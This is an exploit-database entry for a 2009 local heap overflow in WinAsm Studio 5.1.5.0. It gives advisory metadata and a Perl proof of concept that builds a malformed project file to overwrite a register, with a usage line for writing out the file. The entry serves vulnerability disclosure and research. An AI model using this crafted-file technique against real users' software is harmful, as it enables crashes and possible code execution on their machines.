WinAsm Studio 5.1.5.0 Local Heap Overflow Poc

vendor:

WinAsm Studio

by:

Mountassif Moad

7.5

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: WinAsm Studio

Affected Version From: 5.1.5.0

Affected Version To: 5.1.5.0

Patch Exists: YES

Related CWE: N/A

CPE: a:winasm:winasm_studio

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

WinAsm Studio 5.1.5.0 Local Heap Overflow Poc

A local heap overflow vulnerability exists in WinAsm Studio 5.1.5.0. By supplying a specially crafted WinAsm project file, an attacker can overwrite a heap buffer and execute arbitrary code. This vulnerability is due to a lack of proper bounds checking when processing project files. This can be exploited to execute arbitrary code by tricking a user into opening a specially crafted project file.

Mitigation:

Upgrade to the latest version of WinAsm Studio.

Source

Exploit-DB raw data:

# WinAsm Studio 5.1.5.0 Local Heap Overflow Poc
# By Mountassif Moad
# D0wnload : http://www.winasm.net/index.php?ind=downloads&op=download_file&ide=182&file=WinAsm515Full.zip
# Greatz : Simo-Soft - Skd - fl0 fl0w - Str0ke & By By milw0rm :d
#
# Registers
# EAX 00000001
# ECX 00000001
# EDX 0013F814
# EBX 42424242  ( EBX overwrited :d )
# ESP 0013FBDC
# EBP 0013FE3C
# ESI 0013FBF7
# EDI 0013FD2F ASCII "BBBBBBBBBB" (next chars in EDI :d )
# EIP 0040A927 WinAsm.0040A927
my $m=
"\x5B\x46\x49\x4C\x45\x53\x5D\x0D\x31\x3D".
"\x41" x 227 .
"\x42" x 4 .
"\x43" x 20 .
"\x0D\x5B\x50\x52".
"\x4F\x4A\x45\x43\x54\x5D\x0D\x54\x79\x70\x65\x3D\x0D\x52".
"\x65\x6C\x65\x61\x73\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E".
"\x65\x3D\x0D\x44\x65\x62\x75\x67\x43\x6F\x6D\x6D\x61\x6E\x64".
"\x4C\x69\x6E\x65\x3D\x0D\x41\x75\x74\x6F\x49\x6E\x63\x46\x69".
"\x6C\x65\x56\x65\x72\x73\x69\x6F\x6E\x3D\x30\x0D\x52\x43\x53".
"\x69\x6C\x65\x6E\x74\x3D\x30\x0D\x50\x65\x6C\x6C\x65\x73\x54".
"\x6F\x6F\x6C\x73\x3D\x30\x0D\x5B\x4D\x41\x4B\x45\x5D\x0D".
"\x41\x63\x74\x69\x76\x65\x42\x75\x69\x6C\x64\x3D\x30\x0D\x43".
"\x6F\x6D\x70\x69\x6C\x65\x52\x43\x3D\x0D\x52\x43\x54\x6F\x4F".
"\x62\x6A\x3D\x0D\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63".
"\x0D\x4C\x69\x6E\x6B\x3D\x0D\x4F\x75\x74\x3D\x0D\x44".
"\x65\x62\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63\x0D\x44".
"\x65\x62\x4C\x69\x6E\x6B\x3D\x0D\x44\x65\x62\x4F\x75\x74\x3D";
print $m;
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++    WinAsm Studio 5.1.5.0 Local Heap Overflow Poc       +++\n";
print " +++    Written By Stack                                    +++\n";
print " +++    Usage Ex.: perl $0 >>Exploit.wap                    +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;

# milw0rm.com [2009-03-16]